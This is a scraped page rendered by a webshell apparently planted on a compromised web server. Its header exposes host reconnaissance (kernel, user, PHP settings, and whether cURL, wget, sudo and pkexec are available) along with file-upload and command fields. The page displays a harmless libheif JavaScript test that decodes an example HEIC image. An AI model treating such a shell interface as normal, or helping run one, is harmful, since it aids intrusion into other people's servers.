403Webshell
Server IP : www.new.bangkokfinder.com  /  Your IP : 172.70.188.39
Web Server : nginx/1.20.1
System : Linux new 4.15.0-159-generic #167-Ubuntu SMP Tue Sep 21 08:55:05 UTC 2021 x86_64
User : bangkokfinder ( 1000)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/libheif/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/libheif/scripts/test-javascript.js
/**
 * @preserve libheif.js HEIF decoder
 * (c)2017 struktur AG, http://www.struktur.de, [email protected]
 *
 * This file is part of libheif
 * https://github.com/strukturag/libheif
 *
 * libheif is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * libheif is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with libheif.  If not, see <http://www.gnu.org/licenses/>.
 */

const assert = require('assert');
const fs = require('fs');

console.log('Running libheif JavaScript tests ...');

const libheif = require('../libheif.js')();

// Test Embind API.
console.log('Loaded libheif.js', libheif.heif_get_version());

// Test internal C API.
assert(libheif.heif_get_version_number_major() === 1, 'libheif major version should be 1')

// Test enum values.
assert(libheif.heif_error_Ok.value === 0, 'heif_error_Ok should be 0')

// Decode the example file and make sure at least one image is returned.
const data = fs.readFileSync('examples/example.heic');
const decoder = new libheif.HeifDecoder();
const image_data = decoder.decode(data);

console.log('Loaded images:', image_data.length);
assert(image_data.length > 0, "Should have loaded images")

Youez - 2016 - github.com/yon3zu
LinuXploit